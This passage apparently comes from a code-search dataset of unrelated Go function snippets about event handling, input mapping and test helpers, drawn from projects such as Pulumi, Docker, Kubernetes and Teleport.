map[string]*scipipe.InPort{\n\t\tp.In.Name(): p.In,\n\t}\n}", "func (eventRouter EventRouter) Events() []string {\n\teventKeys := make([]string, 0, len(eventRouter.mappings))\n\n\tfor k := range eventRouter.mappings {\n\t\teventKeys = append(eventKeys, k)\n\t}\n\n\treturn eventKeys\n}", "func (l *Service) Events(bytes []byte, stream primitive.Stream) {\n\trequest := &ListenRequest{}\n\tif err := proto.Unmarshal(bytes, request); err != nil {\n\t\tstream.Error(err)\n\t\tstream.Close()\n\t\treturn\n\t}\n\n\tif request.Replay {\n\t\tfor index, value := range l.values {\n\t\t\tstream.Result(proto.Marshal(&ListenResponse{\n\t\t\t\tType: ListenResponse_NONE,\n\t\t\t\tIndex: uint32(index),\n\t\t\t\tValue: value,\n\t\t\t}))\n\t\t}\n\t}\n}", "func policyEvents(us resource.PolicyUpdates, now time.Time) map[string]event.Event {\n\teventsByType := map[string]event.Event{}\n\tfor workloadID, update := range us {\n\t\tfor _, eventType := range policyEventTypes(update) {\n\t\t\te, ok := eventsByType[eventType]\n\t\t\tif !ok {\n\t\t\t\te = event.Event{\n\t\t\t\t\tServiceIDs: []resource.ID{},\n\t\t\t\t\tType: eventType,\n\t\t\t\t\tStartedAt: now,\n\t\t\t\t\tEndedAt: now,\n\t\t\t\t\tLogLevel: event.LogLevelInfo,\n\t\t\t\t}\n\t\t\t}\n\t\t\te.ServiceIDs = append(e.ServiceIDs, workloadID)\n\t\t\teventsByType[eventType] = e\n\t\t}\n\t}\n\treturn eventsByType\n}", "func (this *Command) Input() map[string][]string {\n\tres := make(map[string][]string)\n\tfor _, o := range this.Options {\n\t\tif len(o.Values) > 0 {\n\t\t\tres[o.Name] = o.Values\n\t\t}\n\t}\n\tfor _, a := range this.Arguments {\n\t\tif len(a.Values) > 0 {\n\t\t\tres[a.Name] = a.Values\n\t\t}\n\t}\n\treturn res\n}", "func (sec *sensorExecutionCtx) extractEvents(params []v1alpha1.TriggerParameter) map[string]apicommon.Event {\n\tevents := make(map[string]apicommon.Event)\n\tfor _, param := range params {\n\t\tif param.Src != nil {\n\t\t\tlog := sec.log.WithFields(\n\t\t\t\tmap[string]interface{}{\n\t\t\t\t\t\"param-src\": param.Src.Event,\n\t\t\t\t\t\"param-dest\": param.Dest,\n\t\t\t\t})\n\t\t\tnode := sn.GetNodeByName(sec.sensor, param.Src.Event)\n\t\t\tif node == nil {\n\t\t\t\tlog.Warn(\"event dependency node does not exist, cannot apply parameter\")\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif node.Event == nil {\n\t\t\t\tlog.Warn(\"event in event dependency does not exist, cannot apply parameter\")\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tevents[param.Src.Event] = *node.Event\n\t\t}\n\t}\n\treturn events\n}", "func (b *Builder) InputFields(source reflect.Value, parent reflect.Value) graphql.InputObjectConfigFieldMap {\n\tresult := make(graphql.InputObjectConfigFieldMap, 0)\n\tnodes := b.buildObject(source, parent)\n\tfor _, node := range nodes {\n\t\tif node.skip {\n\t\t\tcontinue\n\t\t}\n\t\tif !node.source.CanSet() {\n\t\t\tcontinue\n\t\t}\n\t\tif node.readOnly {\n\t\t\tcontinue\n\t\t}\n\n\t\tname := node.alias\n\t\tif name == \"\" {\n\t\t\tname = strcase.ToLowerCamel(node.name)\n\t\t}\n\t\tgType := b.mapInput(node.source, parent)\n\t\tif node.required {\n\t\t\tgType = graphql.NewNonNull(gType)\n\t\t}\n\n\t\tfield := &graphql.InputObjectFieldConfig{\n\t\t\tType: gType,\n\t\t}\n\t\tresult[name] = field\n\t}\n\treturn result\n}", "func (tr *EventRepository) Events(d Stats) map[string]uint64 {\n\tm := make(map[string]uint64)\n\tswitch d {\n\tcase StatsLocationCountry:\n\t\tm = tr.locationCountry.Items()\n\tcase StatsLocationCity:\n\t\tm = tr.locationCity.Items()\n\tcase StatsDeviceType:\n\t\tm = tr.deviceType.Items()\n\tcase StatsDevicePlatform:\n\t\tm = tr.devicePlatform.Items()\n\tcase StatsDeviceOS:\n\t\tm = tr.deviceOS.Items()\n\tcase StatsDeviceBrowser:\n\t\tm = tr.deviceBrowser.Items()\n\tcase StatsDeviceLanguage:\n\t\tm = tr.deviceLanguage.Items()\n\tcase StatsReferral:\n\t\tm = tr.referral.Items()\n\t}\n\treturn m\n}", "func EventToInput(e interface{}) (sarah.Input, error) {\n\tswitch typed := e.(type) {\n\tcase *event.Message:\n\t\treturn &Input{\n\t\t\tEvent: e,\n\t\t\tsenderKey: fmt.Sprintf(\"%s|%s\", typed.ChannelID.String(), typed.UserID.String()),\n\t\t\ttext: typed.Text,\n\t\t\ttimestamp: typed.TimeStamp,\n\t\t\tthreadTimeStamp: typed.ThreadTimeStamp,\n\t\t\tchannelID: typed.ChannelID,\n\t\t}, nil\n\n\tcase *event.ChannelMessage:\n\t\treturn &Input{\n\t\t\tEvent: e,\n\t\t\tsenderKey: fmt.Sprintf(\"%s|%s\", typed.ChannelID.String(), typed.UserID.String()),\n\t\t\ttext: typed.Text,\n\t\t\ttimestamp: typed.TimeStamp,\n\t\t\tthreadTimeStamp: typed.ThreadTimeStamp,\n\t\t\tchannelID: typed.ChannelID,\n\t\t}, nil\n\n\tdefault:\n\t\treturn nil, ErrNonSupportedEvent\n\t}\n}", "func (a *Action) InputMappings() []string {\n\treturn a.inputMappings\n}", "func (o TopicRuleErrorActionIotEventsOutput) InputName() pulumi.StringOutput {\n\treturn o.ApplyT(func(v TopicRuleErrorActionIotEvents) string { return v.InputName }).(pulumi.StringOutput)\n}", "func (engine *DockerTaskEngine) TaskEvents() (<-chan api.ContainerStateChange, <-chan error) {\n\treturn engine.container_events, engine.event_errors\n}", "func InputEvent(event cloudevents.Event) EventRecordOption {\n\tencodedEvent, err := json.Marshal(event)\n\tif err != nil {\n\t\treturn func(pod *corev1.Pod, client *testlib.Client) error {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn envOption(\"INPUT_EVENT\", string(encodedEvent))\n}", "func (o RegistryTaskSourceTriggerOutput) Events() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v RegistryTaskSourceTrigger) []string { return v.Events }).(pulumi.StringArrayOutput)\n}", "func (k *Kubernetes) Events() <-chan facts.ContainerEvent {\n\treturn k.Runtime.Events()\n}", "func Events(payloadCh <-chan []byte, registryCh chan<- client.RegistryFunc) {\n\tpackets := make(map[uint64]client.RegistryFunc)\n\n\tgo func(payloadCh <-chan []byte, registryCh chan<- client.RegistryFunc) {\n\t\tvar index uint64 = startingIndex\n\n\t\tdefer close(registryCh)\n\n\t\tfor payload := range payloadCh {\n\t\t\tpkt, err := event.Parse(payload)\n\t\t\tif err != nil {\n\t\t\t\t// TODO(tmrts): might try to read the packet sequence no and skip that packet\n\t\t\t\t// to make sure the flow continues.\n\t\t\t\tlog.Debug(fmt.Sprintf(\"event.Parse(%#q) got error %#q\", string(payload), err))\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tseq := pkt.Sequence()\n\t\t\t// Ignores packets with same sequence numbers or\n\t\t\t// lower than current index numbers.\n\t\t\tif _, ok := packets[seq]; !ok && seq >= index {\n\t\t\t\tpackets[seq] = notify.FuncFor(pkt)\n\t\t\t}\n\n\t\t\tfor {\n\t\t\t\tpkt, ok := packets[index]\n\t\t\t\tif !ok {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\tregistryCh <- pkt\n\n\t\t\t\t// Evicts used event packets\n\t\t\t\t// NOTE: Bulk delete might increase performance\n\t\t\t\tdelete(packets, index)\n\n\t\t\t\tindex++\n\t\t\t}\n\t\t}\n\n\t\t// Send the remaning events\n\t\tfor {\n\t\t\tpkt, ok := packets[index]\n\t\t\tif !ok {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tregistryCh <- pkt\n\t\t\tindex++\n\t\t}\n\t}(payloadCh, registryCh)\n}", "func (c Client) RequestEvents(rq *RequestQuery) (*EventsResponse, error) {\n\tv, _ := query.Values(rq)\n\turl := fmt.Sprintf(\"%v%v?%v\", c.BaseURL, \"events\", v.Encode())\n\teventsResponse := EventsResponse{}\n\terr := c.getResponse(url, &eventsResponse)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &eventsResponse, nil\n}", "func (o *Input) ToMap() map[string]interface{} {\n\treturn map[string]interface{}{\n\t\t\"message\": o.Message,\n\t}\n}", "func TestRequestAuditEvents(t *testing.T) {\n\ttesthttp := httptest.NewUnstartedServer(http.HandlerFunc(func(_ http.ResponseWriter, _ *http.Request) {}))\n\ttesthttp.Config.TLSConfig = &tls.Config{Time: clockwork.NewFakeClock().Now}\n\ttesthttp.Start()\n\n\tapp, err := types.NewAppV3(types.Metadata{\n\t\tName: \"foo\",\n\t\tLabels: staticLabels,\n\t}, types.AppSpecV3{\n\t\tURI: testhttp.URL,\n\t\tPublicAddr: \"foo.example.com\",\n\t\tDynamicLabels: types.LabelsToV2(dynamicLabels),\n\t})\n\trequire.NoError(t, err)\n\n\trequestEventsReceived := atomic.NewUint64(0)\n\tserverStreamer, err := events.NewCallbackStreamer(events.CallbackStreamerConfig{\n\t\tInner: events.NewDiscardEmitter(),\n\t\tOnEmitAuditEvent: func(_ context.Context, _ libsession.ID, event apievents.AuditEvent) error {\n\t\t\tif event.GetType() == events.AppSessionRequestEvent {\n\t\t\t\trequestEventsReceived.Inc()\n\n\t\t\t\texpectedEvent := &apievents.AppSessionRequest{\n\t\t\t\t\tMetadata: apievents.Metadata{\n\t\t\t\t\t\tType: events.AppSessionRequestEvent,\n\t\t\t\t\t\tCode: events.AppSessionRequestCode,\n\t\t\t\t\t},\n\t\t\t\t\tAppMetadata: apievents.AppMetadata{\n\t\t\t\t\t\tAppURI: app.Spec.URI,\n\t\t\t\t\t\tAppPublicAddr: app.Spec.PublicAddr,\n\t\t\t\t\t\tAppName: app.Metadata.Name,\n\t\t\t\t\t},\n\t\t\t\t\tStatusCode: 200,\n\t\t\t\t\tMethod: \"GET\",\n\t\t\t\t\tPath: \"/\",\n\t\t\t\t}\n\t\t\t\trequire.Empty(t, cmp.Diff(\n\t\t\t\t\texpectedEvent,\n\t\t\t\t\tevent,\n\t\t\t\t\tcmpopts.IgnoreTypes(apievents.ServerMetadata{}, apievents.SessionMetadata{}, apievents.UserMetadata{}, apievents.ConnectionMetadata{}),\n\t\t\t\t\tcmpopts.IgnoreFields(apievents.Metadata{}, \"ID\", \"ClusterName\", \"Time\"),\n\t\t\t\t\tcmpopts.IgnoreFields(apievents.AppSessionChunk{}, \"SessionChunkID\"),\n\t\t\t\t))\n\t\t\t}\n\n\t\t\treturn nil\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\ts := SetUpSuiteWithConfig(t, suiteConfig{\n\t\tServerStreamer: serverStreamer,\n\t\tApps: types.Apps{app},\n\t})\n\n\t// make a request to generate events.\n\ts.checkHTTPResponse(t, s.clientCertificate, func(_ *http.Response) {\n\t\t// wait until request events are generated before closing the server.\n\t\trequire.Eventually(t, func() bool {\n\t\t\treturn requestEventsReceived.Load() == 1\n\t\t}, 500*time.Millisecond, 50*time.Millisecond, \"app.request event not generated\")\n\t})\n\n\tsearchEvents, _, err := s.authServer.AuditLog.SearchEvents(time.Time{}, time.Now().Add(time.Minute), \"\", []string{events.AppSessionChunkEvent}, 10, types.EventOrderDescending, \"\")\n\trequire.NoError(t, err)\n\trequire.Len(t, searchEvents, 1)\n\n\texpectedEvent := &apievents.AppSessionChunk{\n\t\tMetadata: apievents.Metadata{\n\t\t\tType: events.AppSessionChunkEvent,\n\t\t\tCode: events.AppSessionChunkCode,\n\t\t},\n\t\tAppMetadata: apievents.AppMetadata{\n\t\t\tAppURI: app.Spec.URI,\n\t\t\tAppPublicAddr: app.Spec.PublicAddr,\n\t\t\tAppName: app.Metadata.Name,\n\t\t},\n\t}\n\trequire.Empty(t, cmp.Diff(\n\t\texpectedEvent,\n\t\tsearchEvents[0],\n\t\tcmpopts.IgnoreTypes(apievents.ServerMetadata{}, apievents.SessionMetadata{}, apievents.UserMetadata{}, apievents.ConnectionMetadata{}),\n\t\tcmpopts.IgnoreFields(apievents.Metadata{}, \"ID\", \"ClusterName\", \"Time\"),\n\t\tcmpopts.IgnoreFields(apievents.AppSessionChunk{}, \"SessionChunkID\"),\n\t))\n}", "func AllEvents() (map[[32]byte]abi.Event, error) {\r\n\tall := []string{\r\n\t\tcontracts1.ZapABI,\r\n\t\tcontracts.ZapDisputeABI,\r\n\t\tcontracts.ZapGettersABI,\r\n\t\tcontracts.ZapGettersLibraryABI,\r\n\t\tcontracts1.ZapLibraryABI,\r\n\t\tcontracts.ZapMasterABI,\r\n\t\tcontracts.ZapStakeABI,\r\n\t\tcontracts.ZapStorageABI,\r\n\t\tcontracts.ZapTransferABI,\r\n\t}\r\n\r\n\tparsed := make([]interface{}, 0)\r\n\tfor _, abi := range all {\r\n\t\tvar f interface{}\r\n\t\tif err := json.Unmarshal([]byte(abi), &f); err != nil {\r\n\t\t\treturn nil, err\r\n\t\t}\r\n\t\tasList := f.([]interface{})\r\n\t\tfor _, parsedABI := range asList {\r\n\t\t\tparsed = append(parsed, parsedABI)\r\n\t\t}\r\n\t}\r\n\tj, err := json.Marshal(parsed)\r\n\tif err != nil {\r\n\t\treturn nil, err\r\n\t}\r\n\tabiStruct, err := abi.JSON(strings.NewReader(string(j)))\r\n\tif err != nil {\r\n\t\treturn nil, err\r\n\t}\r\n\teventMap := make(map[[32]byte]abi.Event)\r\n\tfor _, e := range abiStruct.Events {\r\n\t\teventMap[e.ID()] = e\r\n\t}\r\n\r\n\treturn eventMap, nil\r\n}", "func (o BucketNotificationLambdaFunctionOutput) Events() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v BucketNotificationLambdaFunction) []string { return v.Events }).(pulumi.StringArrayOutput)\n}", "func EventSourceName_Values() []string {\n\treturn []string{\n\t\tEventSourceNameOnPostCallAnalysisAvailable,\n\t\tEventSourceNameOnRealTimeCallAnalysisAvailable,\n\t\tEventSourceNameOnPostChatAnalysisAvailable,\n\t\tEventSourceNameOnZendeskTicketCreate,\n\t\tEventSourceNameOnZendeskTicketStatusUpdate,\n\t\tEventSourceNameOnSalesforceCaseCreate,\n\t\tEventSourceNameOnContactEvaluationSubmit,\n\t}\n}", "func (c *ComunicationChannels) ProcessEvents(event string, data []byte, eventSourceId int) {\n\tTrace.Printf(\"Received %s event with this data: %s\\n\", event, string(data))\n\n\tif event == \"createPlayer\" {\n\t\taddReq := ReadCreatePlayerEvent(data)\n\t\taddReq.sourceId = eventSourceId\n\t\tc.addChannel <- addReq\n\n\t} else if event == \"move\" {\n\t\tmoveReq := ReadMoveEvent(data)\n\t\tmoveReq.sourceId = eventSourceId\n\t\tc.moveChannel <- moveReq\n\t}\n}", "func (c *Credits) ProcessEvents() {\n\tif inpututil.IsKeyJustPressed(ebiten.KeyEscape) {\n\t\tc.nextStateID = \"menu\"\n\t\tc.state = exit\n\t}\n}", "func (p *EventProcessor) Process(events []publisher.Event) []publisher.Event {\n\tnewEvents := make([]publisher.Event, 0)\n\tfor _, event := range events {\n\t\t// Get the message from the log file\n\t\teventMsgFieldVal, err := event.Content.Fields.GetValue(\"message\")\n\t\tif err != nil {\n\t\t\tlog.Error(err.Error())\n\t\t\treturn newEvents\n\t\t}\n\n\t\teventMsg, ok := eventMsgFieldVal.(string)\n\t\tif ok {\n\t\t\t// Unmarshal the message into the struct representing traffic log entry in gateway logs\n\t\t\tbeatEvents := p.ProcessRaw([]byte(eventMsg))\n\t\t\tif beatEvents != nil {\n\t\t\t\tfor _, beatEvent := range beatEvents {\n\t\t\t\t\tpublisherEvent := publisher.Event{\n\t\t\t\t\t\tContent: beatEvent,\n\t\t\t\t\t}\n\t\t\t\t\tnewEvents = append(newEvents, publisherEvent)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn newEvents\n}", "func (pub *Publisher) GetInputs() []*types.InputDiscoveryMessage {\n\treturn pub.registeredInputs.GetAllInputs()\n}", "func aggregateEvents(events []*docker.ContainerEvent, filteredActions []string) map[string]*dockerEventBundle {\n\t// Pre-aggregate container events by image\n\teventsByImage := make(map[string]*dockerEventBundle)\n\tfilteredByType := make(map[string]int)\n\n\tfor _, event := range events {\n\t\tif matchFilter(event.Action, filteredActions) {\n\t\t\tfilteredByType[event.Action] = filteredByType[event.Action] + 1\n\t\t\tcontinue\n\t\t}\n\t\tbundle, found := eventsByImage[event.ImageName]\n\t\tif found == false {\n\t\t\tbundle = newDockerEventBundler(event.ImageName)\n\t\t\teventsByImage[event.ImageName] = bundle\n\t\t}\n\t\tbundle.addEvent(event) //nolint:errcheck\n\t}\n\n\tif len(filteredByType) > 0 {\n\t\tlog.Debugf(\"filtered out the following events: %s\", formatStringIntMap(filteredByType))\n\t}\n\treturn eventsByImage\n}", "func InputHeaders(headers map[string]string) EventRecordOption {\n\treturn envOption(\"INPUT_HEADERS\", serializeHeaders(headers))\n}", "func GetNumberOfConsoleInputEvents(hConsoleInput HANDLE, lpNumberOfEvents *uint32) bool {\n\tret1 := syscall3(getNumberOfConsoleInputEvents, 2,\n\t\tuintptr(hConsoleInput),\n\t\tuintptr(unsafe.Pointer(lpNumberOfEvents)),\n\t\t0)\n\treturn ret1 != 0\n}", "func (c *Client) Events(query string, extraParams map[string]string) ([]EventJSON, error) {\n\tpath := \"events\"\n\tret := []EventJSON{}\n\tparams := mergeParam(\"query\", query, extraParams)\n\terr := c.Get(&ret, path, params)\n\treturn ret, err\n}", "func linkedConstructInputsMap(ctx *pulumi.Context, inputs map[string]interface{}) (pulumi.Map, error)", "func (i *InteractiveSpan) Events() []Event {\n\tout := i.events\n\ti.events = i.events[:0]\n\treturn out\n}", "func (o TopicRuleIotEventOutput) InputName() pulumi.StringOutput {\n\treturn o.ApplyT(func(v TopicRuleIotEvent) string { return v.InputName }).(pulumi.StringOutput)\n}", "func (i *Individual) Inputs() []float64 {\n\treturn i.inputs\n}", "func read_events(c chan upnp.Event) {\n\tfor {\n\t\tselect {\n\t\tcase <-c:\n\t\t}\n\t}\n}", "func ReadInput(r io.Reader) (map[string]string, error) {\n\tscan := bufio.NewScanner(r)\n\n\tdata := map[string]string{}\n\n\tfor scan.Scan() {\n\t\tkv := bytes.SplitN(scan.Bytes(), []byte(\"=\"), 2)\n\t\tif len(kv) > 1 {\n\t\t\tdata[string(kv[0])] = string(kv[1])\n\t\t}\n\t}\n\n\tif err := scan.Err(); err != nil && err != io.EOF {\n\t\treturn nil, err\n\t}\n\n\treturn data, nil\n}", "func Tags(list ...namedTagEventList) map[string]imageapi.TagEventList {\n\tm := make(map[string]imageapi.TagEventList, len(list))\n\tfor _, tag := range list {\n\t\tm[tag.name] = tag.events\n\t}\n\treturn m\n}", "func (this *Renderer) ProcessEvents() {\n\tthis.start = time.Now()\n\tvar event sdl.Event\n\tfor event = sdl.PollEvent(); event != nil; event = sdl.PollEvent() {\n\t\tswitch t := event.(type) {\n\t\tcase *sdl.QuitEvent:\n\t\t\tthis.isRunning = false\n\t\tcase *sdl.MouseMotionEvent:\n\t\t\twin := this.windows[t.WindowID]\n\t\t\twin.inputHelper.MousePos = sg.Position{X: float32(t.X), Y: float32(t.Y)}\n\t\tcase *sdl.MouseButtonEvent:\n\t\t\twin := this.windows[t.WindowID]\n\t\t\tif t.Type == sdl.MOUSEBUTTONUP {\n\t\t\t\twin.inputHelper.ButtonUp = true\n\t\t\t} else if t.Type == sdl.MOUSEBUTTONDOWN {\n\t\t\t\twin.inputHelper.ButtonDown = true\n\t\t\t}\n\t\tcase *sdl.WindowEvent:\n\t\t\twin := this.windows[t.WindowID]\n\t\t\tif t.Event == sdl.WINDOWEVENT_LEAVE {\n\t\t\t\twin.inputHelper.MousePos = sg.Position{-1, -1} // ### this initial state isn't really acceptable, items may have negative coords.\n\t\t\t}\n\t\t}\n\t}\n}", "func (d *Demo) Events() []Event {\n\treturn d.events\n}", "func EventFilterFields(r Resource) map[string]string {\n\tresource := r.(*EventFilter)\n\treturn map[string]string{\n\t\t\"filter.name\": resource.ObjectMeta.Name,\n\t\t\"filter.namespace\": resource.ObjectMeta.Namespace,\n\t\t\"filter.action\": resource.Action,\n\t\t\"filter.runtime_assets\": strings.Join(resource.RuntimeAssets, \",\"),\n\t}\n}", "func (o IntegrationSlackOutput) PipelineEvents() pulumi.BoolOutput {\n\treturn o.ApplyT(func(v *IntegrationSlack) pulumi.BoolOutput { return v.PipelineEvents }).(pulumi.BoolOutput)\n}", "func (CloudWatchEventSource) Values() []CloudWatchEventSource {\n\treturn []CloudWatchEventSource{\n\t\t\"EC2\",\n\t\t\"CODE_DEPLOY\",\n\t\t\"HEALTH\",\n\t\t\"RDS\",\n\t}\n}", "func (o TopicRuleErrorActionIotEventsPtrOutput) InputName() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *TopicRuleErrorActionIotEvents) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn &v.InputName\n\t}).(pulumi.StringPtrOutput)\n}", "func (i *Input) ToMap() map[string]interface{} {\n\tvar keys []interface{}\n\tfor _, k := range i.StateKeys {\n\t\tkeys = append(keys, k)\n\t}\n\tvar orgs []interface{}\n\tfor _, org := range i.Organizations {\n\t\torgs = append(orgs, org)\n\t}\n\n\treturn map[string]interface{}{\n\t\t\"keys\": keys,\n\t\t\"organizations\": orgs,\n\t\t\"policy\": i.Policy,\n\t\t\"privateCollection\": i.PrivateCollection,\n\t}\n}", "func (*EventsRequest) Descriptor() ([]byte, []int) {\n\treturn file_org_apache_beam_model_pipeline_v1_beam_runner_api_proto_rawDescGZIP(), []int{23}\n}", "func TestProcessEventFiltering(t *testing.T) {\n\trawEvents := make([]*model.ProcessEvent, 0)\n\thandlers := make([]EventHandler, 0)\n\n\t// The listener should drop unexpected events and not call the EventHandler for it\n\trawEvents = append(rawEvents, model.NewMockedForkEvent(time.Now(), 23, \"/usr/bin/ls\", []string{\"ls\", \"-lah\"}))\n\n\t// Verify that expected events are correctly consumed\n\trawEvents = append(rawEvents, model.NewMockedExecEvent(time.Now(), 23, \"/usr/bin/ls\", []string{\"ls\", \"-lah\"}))\n\thandlers = append(handlers, func(e *model.ProcessEvent) {\n\t\trequire.Equal(t, model.Exec, e.EventType)\n\t\trequire.Equal(t, uint32(23), e.Pid)\n\t})\n\n\trawEvents = append(rawEvents, model.NewMockedExitEvent(time.Now(), 23, \"/usr/bin/ls\", []string{\"ls\", \"-lah\"}, 0))\n\thandlers = append(handlers, func(e *model.ProcessEvent) {\n\t\trequire.Equal(t, model.Exit, e.EventType)\n\t\trequire.Equal(t, uint32(23), e.Pid)\n\t})\n\n\t// To avoid race conditions, all handlers should be assigned during the creation of SysProbeListener\n\tcalledHandlers := 0\n\thandler := func(e *model.ProcessEvent) {\n\t\thandlers[calledHandlers](e)\n\t\tcalledHandlers++\n\t}\n\n\tl, err := NewSysProbeListener(nil, nil, handler)\n\trequire.NoError(t, err)\n\n\tfor _, e := range rawEvents {\n\t\tdata, err := e.MarshalMsg(nil)\n\t\trequire.NoError(t, err)\n\t\tl.consumeData(data)\n\t}\n\tassert.Equal(t, len(handlers), calledHandlers)\n}", "func eventsToVestingData(startTime time.Time, events []event) cli.VestingData {\n\tperiods := []cli.InputPeriod{}\n\tlastTime := startTime\n\tfor _, e := range events {\n\t\tdur := e.Time.Sub(lastTime)\n\t\tp := cli.InputPeriod{\n\t\t\tCoins: e.Coins.String(),\n\t\t\tLength: int64(dur.Seconds()),\n\t\t}\n\t\tperiods = append(periods, p)\n\t\tlastTime = e.Time\n\t}\n\treturn cli.VestingData{\n\t\tStartTime: startTime.Unix(),\n\t\tPeriods: periods,\n\t}\n}", "func (d TinkDB) Events(req *events.WatchRequest, fn func(n informers.Notification) error) error {\n\trows, err := d.instance.Query(`\n\tSELECT id, resource_id, resource_type, event_type, created_at, data\n\tFROM events\n\tWHERE\n\t\tcreated_at >= $1;\n\t`, req.GetWatchEventsFrom().AsTime())\n\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tn := informers.Notification{}\n\t\terr = rows.Scan(&n.ID, &n.ResourceID, &n.ResourceType, &n.EventType, &n.CreatedAt, &n.Data)\n\t\tif err != nil {\n\t\t\terr = errors.Wrap(err, \"SELECT\")\n\t\t\td.logger.Error(err)\n\t\t\treturn err\n\t\t}\n\t\tn.Prefix()\n\t\tif informers.Filter(&n, informers.Reduce(req)) {\n\t\t\tcontinue\n\t\t}\n\t\terr = fn(n)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\terr = rows.Err()\n\tif err == sql.ErrNoRows {\n\t\terr = nil\n\t}\n\treturn err\n}", "func GetInputTokenSlice() map[int]string {\n\tinputTokenMap := make(map[int]string)\n\n\tfor i := 0; i < len(inputTokens); i++ {\n\t\tinputTokenMap[inputTokens[i].splitIndex] = inputTokens[i].data\n\t}\n\n\treturn inputTokenMap\n}", "func (o IntentOutput) Events() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v *Intent) pulumi.StringArrayOutput { return v.Events }).(pulumi.StringArrayOutput)\n}", "func (lp *loop) Input(ev event) {\n\tlp.inputCh <- ev\n}", "func GetEvents() []*Event {\n\tevents := []*Event{\n\t\t&Event{\"GreatUniHack 2016\", \"A first test\", \"Kilburn Building\", \"September 16 at 5:30pm\", \"https://google.com/\", \"https://www.google.co.uk/images/branding/product/ico/googleg_lodp.ico\", true},\n\t\t&Event{\"Test 2\", \"A second test\", \"Here\", \"June 1 at 12:00pm\", \"https://google.com/\", \"https://www.google.co.uk/images/branding/product/ico/googleg_lodp.ico\", false},\n\t\t&Event{\"Test 3\", \"A third test\", \"Here\", \"May 25 at 10:00am\", \"https://google.com/\", \"https://www.google.co.uk/images/branding/product/ico/googleg_lodp.ico\", false},\n\t}\n\n\treturn events\n}", "func (o LookupIntentResultOutput) Events() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v LookupIntentResult) []string { return v.Events }).(pulumi.StringArrayOutput)\n}", "func (inputs ConstructInputs) Map() (pulumi.Map, error) {\n\treturn linkedConstructInputsMap(inputs.ctx, inputs.inputs)\n}", "func (b *eventBroker) Events(req *clientpb.Empty, stream serverpb.EventRPC_EventsServer) error {\n\n\t// Subscribe to event broker in events package\n\tincoming := events.EventBroker.Subscribe()\n\tdefer events.EventBroker.Unsubscribe(incoming)\n\n\t// For each event coming in, check event type,\n\tfor event := range incoming {\n\n\t\t// Depending on event type, we might have to push to several users/clients\n\t\tswitch event.Type {\n\t\tcase serverpb.EventType_USER:\n\t\t\t// We push anyway\n\n\t\tcase serverpb.EventType_MODULE:\n\t\t\t// For modules, we push only if consoles matches the token\n\n\t\tcase serverpb.EventType_SESSION:\n\t\t\t// For sessions, we push anyway.\n\n\t\tcase serverpb.EventType_LISTENER:\n\t\t\t// We push anyway.\n\n\t\tcase serverpb.EventType_JOB:\n\t\t\t// We push anyway.\n\n\t\tcase serverpb.EventType_STACK:\n\t\t\t// We push only if user matches AND console DOES NOT match\n\n\t\tcase serverpb.EventType_CANARY:\n\t\t\t// We push anyway\n\n\t\t}\n\t}\n\n\treturn nil\n}", "func (l *Log) Events() <-chan Message { return l.eventCh }", "func (c *Computation) Events() <-chan *messages.EventMessage {\n\treturn c.eventCh\n}", "func getInputs() yt_stats.Inputs {\n\treturn yt_stats.Inputs{\n\t\tStartTime: time.Now(),\n\t\tStatusCheck: \"https://www.googleapis.com/youtube/v3/channels?part=id&id=UCBR8-60-B28hp2BmDPdntcQ\",\n\t\tRepliesRoot: \"https://www.googleapis.com/youtube/v3/comments?part=snippet&maxResults=100&textFormat=plainText\",\n\t\tCommentsRoot: \"https://www.googleapis.com/youtube/v3/commentThreads?part=snippet,replies&maxResults=100&textFormat=plainText\",\n\t\tChannelsRoot: \"https://www.googleapis.com/youtube/v3/channels?part=id,snippet,contentDetails,statistics&maxResults=50\",\n\t\tPlaylistsRoot: \"https://www.googleapis.com/youtube/v3/playlists?part=snippet,contentDetails&maxResults=50\",\n\t\tPlaylistItemsRoot: \"https://www.googleapis.com/youtube/v3/playlistItems?part=snippet&maxResults=50\",\n\t\tVideosRoot: \"https://www.googleapis.com/youtube/v3/videos?part=snippet,contentDetails,statistics&maxResults=50\",\n\t\tStreamRoot: \"https://www.googleapis.com/youtube/v3/videos?part=id,liveStreamingDetails&maxResults=50\",\n\t\tChatRoot: \"https://www.googleapis.com/youtube/v3/liveChat/messages?part=id,snippet,authorDetails&maxResults=2000\",\n\t}\n}", "func (l *FileTransactionLogger) ReadEvents() (<-chan Event, <-chan error) {\n scanner := bufio.NewScanner(l.file) // Create a Scanner for l.file.\n outEvent := make(chan Event) // An unbuffered events channel.\n outError := make(chan error,1) // A buffered errors channel.\n\n go func(){\n var e Event\n \n defer close(outEvent)\n defer close(outError)\n\n for scanner.Scan(){\n line := scanner.Text()\n\n fmt.Sscanf(\n line, \"%d\\t%d\\t%s\\t%s\\t\",\n &e.Sequence, &e.EventType, &e.Key, &e.Value)\n\n // Sanity check! Are the sequence numbers in increasing order?\n if l.lastSequence >= e.Sequence{\n outError <- fmt.Errorf(\"transaction numbers out of sequence\")\n }\n \n l.lastSequence = e.Sequence\n outEvent <- e\n }\n\n if err := scanner.Err(); err != nil{\n outError <- fmt.Errorf(\"transaction log read failure: %w\", err)\n }\n }()\n\n return outEvent,outError\n}", "func (c *Config) NewInputPipes() {\n\tc.stdin, c.stdinPipe = io.Pipe()\n}", "func newEvents(t *testing.T, s string) Events {\n\tt.Helper()\n\n\tvar (\n\t\tlines = strings.Split(s, \"\\n\")\n\t\tgroups = []string{\"\"}\n\t\tevents = make(map[string]Events)\n\t)\n\tfor no, line := range lines 